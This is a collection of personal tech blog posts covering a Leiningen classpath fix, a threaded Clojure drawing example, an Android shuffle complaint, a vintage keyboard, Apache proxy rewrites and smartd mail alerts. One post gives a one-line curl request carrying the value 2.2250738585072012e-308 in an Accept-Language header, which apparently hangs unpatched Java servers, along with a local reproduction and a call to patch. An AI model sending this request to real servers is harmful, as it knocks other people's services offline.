clojure lein gives error „Exception in thread „main“ java.lang.RuntimeException: java.lang.NoSuchMethodError: clojure.lang.KeywordLookupSite …“

For all of you searching for this problem when running lein (1.6) and clojure (1.3). You have to add the clojure directory to your classpath. Simple as that. :-\

$ lein help
Exception in thread "main" java.lang.RuntimeException: java.lang.NoSuchMethodError: clojure.lang.KeywordLookupSite.(ILclojure/lang/Keyword;)V
at clojure.lang.Util.runtimeException(
at clojure.lang.Compiler.eval(
at clojure.lang.Compiler.eval(
at clojure.core$eval.invoke(core.clj:2795)
at clojure.main$eval_opt.invoke(main.clj:296)
at clojure.main$initialize.invoke(main.clj:315)
at clojure.main$script_opt.invoke(main.clj:339)
at clojure.main$main.doInvoke(main.clj:426)
at clojure.lang.RestFn.invoke(
at clojure.lang.Var.invoke(
at clojure.lang.AFn.applyToHelper(
at clojure.lang.Var.applyTo(
at clojure.main.main(
Caused by: java.lang.NoSuchMethodError: clojure.lang.KeywordLookupSite.(ILclojure/lang/Keyword;)V
at leiningen.util.paths$native_arch_path.(paths.clj:32)
at leiningen.util.paths__init.load(Unknown Source)
at leiningen.util.paths__init.(Unknown Source)
at java.lang.Class.forName0(Native Method)
at java.lang.Class.forName(
at clojure.lang.RT.loadClassForName(
at clojure.lang.RT.load(
at clojure.lang.RT.load(
at clojure.core$load$fn__4610.invoke(core.clj:5386)
at clojure.core$load.doInvoke(core.clj:5385)
at clojure.lang.RestFn.invoke(
at clojure.core$load_one.invoke(core.clj:5200)
at clojure.core$load_lib.doInvoke(core.clj:5237)
at clojure.lang.RestFn.applyTo(
at clojure.core$apply.invoke(core.clj:602)
at clojure.core$load_libs.doInvoke(core.clj:5271)
at clojure.lang.RestFn.applyTo(
at clojure.core$apply.invoke(core.clj:602)
at clojure.core$require.doInvoke(core.clj:5352)
at clojure.lang.RestFn.invoke(
at leiningen.core$loading__4414__auto__.invoke(core.clj:1)
at leiningen.core__init.load(Unknown Source)
at leiningen.core__init.(Unknown Source)
at java.lang.Class.forName0(Native Method)
at java.lang.Class.forName(
at clojure.lang.RT.loadClassForName(
at clojure.lang.RT.load(
at clojure.lang.RT.load(
at clojure.core$load$fn__4610.invoke(core.clj:5386)
at clojure.core$load.doInvoke(core.clj:5385)
at clojure.lang.RestFn.invoke(
at clojure.core$load_one.invoke(core.clj:5200)
at clojure.core$load_lib.doInvoke(core.clj:5237)
at clojure.lang.RestFn.applyTo(
at clojure.core$apply.invoke(core.clj:602)
at clojure.core$load_libs.doInvoke(core.clj:5271)
at clojure.lang.RestFn.applyTo(
at clojure.core$apply.invoke(core.clj:604)
at clojure.core$use.doInvoke(core.clj:5363)
at clojure.lang.RestFn.invoke(
at user$eval1.invoke(NO_SOURCE_FILE:1)
at clojure.lang.Compiler.eval(
... 11 more

Setting the paths:

echo "export CLOJURE_HOME=$HOME/Opt/clojure

lein works, tadaaa:

$ lein help
Leiningen is a tool for working with Clojure projects.

Several tasks are available:
classpath Print the classpath of the current project.

Clojure example from „The Joy Of Clojure“ parallelized

I am currently reading „The Joy Of Clojure“ by Michael Fogus and Chris Houser – a great book to see the „why“ behind the clojure way. You should have had a look into clojure before and be willing to read a lot of docs besides the book.

In the book there is a simple example program to display a nice graphic, created by applying xor to the pixel coordinates and using them as grayscale color value. The chapter is „Using the REPL to experiment“.
While reading this part, I thought it would be nice to have that algorithm for parallel processing and experimented a little bit.

The following listing is the result, it modified the original and uses simple threading and the „locking“ macro. It is also interesting to see what happens if you leave out the synchronizing between setting the color and drawing the pixel, as you can see in the screenshots. I hope the original author is okay with using his examples.

Simply paste it to your REPL and try it out.

  ^{:doc "Calculate the color for a coordinate x and y by applying the given
function. Offset and max values can be specified as input." }
  f-valueso [f xoffset xmax yoffset ymax]
  (for [x (range xoffset xmax) y (range yoffset ymax)
          :let [v (rem (f x y) 256)]]
    [x y (if (< v 0) (* -1 v) v)]

  ^{:doc "Devides the given value in 'parts' equal parts. For
example 200 2 will become [[0 100] [100 200]]"}
  from-to-parts [value parts]
  (loop [
    steps (conj (vec (range 0 value (int (/ value parts)))) value)
    result []
    (if (seq (rest steps))
      (recur (rest steps) (conj result [(first steps) (second steps)]))

; Initialize the frame
(def frame (java.awt.Frame.))
(.setVisible frame true)
(.setSize frame (java.awt.Dimension. 256 256))
(.setLocation frame 300 300)
; Graphics size is only as big as the frame was at getGraphics times
; (that had cost me some time ...)
(def gfx (.getGraphics frame))

(defn clear
  ([g] (.clearRect g 0 0 256 256))
  ([g x y] (.clearRect g 0 0 x y))

  ^{:doc "Draw the picture in a specified area using the color function."}
  draw-part [gfx f xoffset xmax yoffset ymax]
  (doseq [[x y v] (f-valueso f xoffset xmax yoffset ymax)]
;    (Thread/sleep 1) Uncomment this if it draws too fast
    (locking gfx
      (.setColor gfx (java.awt.Color. v v v))
      (.fillRect gfx x y 1 1)

    ^{:doc "Draw a picture to 'gfx' that is created by using the
given color function. Use 'n' threads to create the picture from
0 to x/y max"}
  draw-valuesp [f xmax ymax n]
  (clear gfx)
  (.setSize frame (java.awt.Dimension. xmax ymax))
  (def gfx (.getGraphics frame))
  (clear gfx xmax ymax)
  (doseq [
    [xoffset xmax] (from-to-parts xmax n)
    [yoffset ymax] (from-to-parts ymax n)
    (.start (Thread. 
      #(draw-part gfx f xoffset xmax yoffset ymax)

(draw-valuesp bit-xor 256 256 3)

The result:

Multithreaded version during processing:

Result without synchronization:

I am aware that there is not much concurrency in the problem and it is not the greatest example to show the power of clojure’s capabilities. But that wasn’t the point of it.

Android music player shuffle is bad

I just wanted to share my experience with the android music player.
From a user interface and feature perspective I am totally happy with it. It is kind of simple, responsive and okay to control as music player in your car. (Hands free of course).

But there is a problem with the shuffle function. I use that feature a lot, since the android is serving me with music almost every day in my car and I really can’t stand the same playlist order every day. The sequential order makes things too predictable and you rapidly get the feeling you heard the songs a million times.

Unfortunately android music player is not shuffling very well. There are often the same tracks in the playlist and the order seems to repeat too. I even got the feeling it doesn’t include all the tracks and just shuffles a subset of them.

It seems like I am not alone with the problem and there is already a bugreport.

So I tried the mobile winamp player. I was not too optimistic since the desktop version of it just evolved to a big fat monster. But I was positively surprised. The player looks nice, is fast and is better at shuffling. I had songs in the playlist again I missed for quite some time now.

The only thing that is not too great is the user interface uses a lot of small button elements. This is not so nice when you use it in your car. Additionally you can’t switch tracks using the little forward / backwards buttons, when the screen is locked but that is not a deal breaker.

Did you have the same experience with android music player? Let me know.

Flea Market discovery Cherry G81-1000 Keyboard

About two weeks ago I was on a flea market and saw an old cherry keyboard. I always heard of the legendary IBM type M keyboard that makes a unique click sound and wanted to have one of these. But the ones still produced cost about 90$ at! So I thought, give that old cheery one a try and buy it … for 1,50€ it won’t hurt and may be similarly cool.

So I bought a nice old G81-1000 which was still rather white, compared to the usual computer nicotine yellow you see out there. :) The keys are not as smooth as I had hoped but in my opinion the sound is quite classic.

One little detail being a problem was the old DIN instead of a PS/2 connector. The adapter could be found on amazon but I would bet there are only some remnants.

The whole circuit board and key sensors are pretty robust and will probably survive all the rest of my current hardware. Here are some fotos I short during the big cleaning session.

More Information about Cheery G81 and G80:

mod_rewrite proxy targets must be allowed first

I was trying to install a proxy redirect on my server in order to bypass the same origin policy for GWT Ajax requests. We are not using the default java servlets but a perl backend.

Therefore I wanted to rewrite a path „http://myhost/mk/*&#8220; to the host where the actual request endpoint was „http://targethost/$1&#8220;.

The Idea was to use mod_rewrite and first of all it had to be enabled. Additionally mod_proxy is used if proxy rewrites are involved. On debian this works using:

$ a2enmod rewrite; a2enmod proxy_http

The vhost config looks like this:

<VirtualHost myhost:80>
ServerName gt.myhost

RewriteEngine On
RewriteLogLevel 3
RewriteLog "/var/log/apache2/rewrite.log"
RewriteRule ^/mk/(.*) http://targethost/$1 [P]

# Allow the proxy to targethost ...
<Proxy http://targethost/*>
Order deny,allow
Allow from all

DocumentRoot /var/www/gt

Important is the Proxy element here, which was not obvious to me from the start. I missed it and just got the following output in rewrite.log and error.log when trying to call http://gt.myhost/mk/login.

(2) rewrite '/mk/login' -> 'http://targethost/login'
(2) forcing proxy-throughput with http://targethost/login
(1) go-ahead with proxy request proxy:http://targethost/login [OK]

[error] client denied by server configuration: proxy:http://targethost/login

So, make sure you got the Proxy Element right, too, when using mod_rewrite and [P].


mod_rewrite manual
apache rewrite guide
Ubuntu mod_rewrite Problem

Java DDOS 2.2250738585072012e-308 with curl

There seems to be an easy exploit for the problem going around in the news.

curl -H „Accept-Language: en-us;q=2.2250738585072012e-308“ URL

Apparently works on any Tomcat-server calling getLocale() on the request or most spring applications.

Meanwhile there is java patch for the problem, update your boxes!

Release Notes:
Security Alert:

For my servers it did not have an effect but maybe you had success? Please leave a comment.


You should all have received a java security update by now. If not, you could simply use the following code to reproduce the bug locally.

$ cat 
class Runhang {
  public static void main(String[] args) {
    double d = Double.parseDouble("2.2250738585072012e-308");
    System.out.println("Value: " + d);

$ javac
$ java Runhang &
... wait and kill it :)

Short howto: Smartd with mail notification to remote address

This guide is for debian squeeze

SMART is a nice mechanism to detect hard disc drive problems early. There is a daemon that sends user mails in order to notify you. But for normal desktops machines you usually don’t have your mail server set up properly so you can only receive local mails.

They can be read using the terminal command „mail“, but using your graphical user interface you won’t notice them in time.

Therefore I was searching for a way to send them to my normal account „“. To make this happen, the local command "echo "hello" | mail -s 'testmail'" has to work.

I found some tutorials about how to set up exim 4 to use a smarthost to forward all mails to. But unfortunately this didn’t work with my provider, they don’t seem to like it for spamming reasons. Luckily google has less of a problem with that, I guess they are just happy to be able to read the mails too …

I followed the great tutorial on how set up gmail as smarthost. Important was here to use my local (unofficial) domain jet.bebop as it is configured on the local machine. This way exim can detect if the mail is supposed to go to localhost and does not involve google when just sending mail to „root“.

Testing after following the howto:

$ echo „Hello“ | mail -s „Testing“

$ tail /var/log/exim4/mainlog
2011-02-13 14:03:35 1Pobbz-0003bM-E4 R=smarthost T=remote_smtp_smarthost [] X=TLS1.0:RSA_ARCFOUR_SHA1:16 DN=“C=US,ST=California,L=Mountain View,O=Google Inc,“
2011-02-13 14:03:38 1Pobbz-0003bM-E4 Completed

And I got mail.

Moving on to the second part, setting up smart, which is quite easy on debian.

I just installed smartmontools and enabled the smartd in the default configs.

$ cat /etc/default/smartmontools
# Defaults for smartmontools initscript (/etc/init.d/smartmontools)
# This is a POSIX shell fragment

# List of devices you want to explicitly enable S.M.A.R.T. for
# Not needed (and not recommended) if the device is monitored by smartd
#enable_smart=“/dev/hda /dev/hdb“

# uncomment to start smartd on system startup

# uncomment to pass additional options to smartd on startup

By default, smartd uses all drives in your system which is what I want. The config file is imho very verbose and can be modified to your needs. Important is to change the -m part to the desired mail address.

$vim /etc/smartd.conf

DEVICESCAN -d removable -n standby -m -M exec /usr/share/smartmontools/smartd-runner

After reloading smart, everything should be set up and ready.

$ /etc/init.d/smartmontools reload
Reloading S.M.A.R.T. daemon: smartd.

But you can also test if the smart daemon can send mails to you by the following procedure just to sure:

Create a temporary config file just for the purpose of testing the mail delivery. -M test will make the daemon send an initial test notification, /dev/sdb can just be any drive on your system:

$ echo „/dev/sdb -m -M test“ > /etc/smartd.conf.test
$ smartd -c /etc/smartd.conf.test

You should receive a mail like this:

This email was generated by the smartd daemon running on:

host name: jet
DNS domain: bebop
NIS domain: (none)

The following warning/error was logged by the smartd daemon:

TEST EMAIL from smartd for device: /dev/sdb [SAT]

For details see host’s SYSLOG (default: /var/log/syslog).

You can now kill that test daemon and sleep well with your smart monitored discs.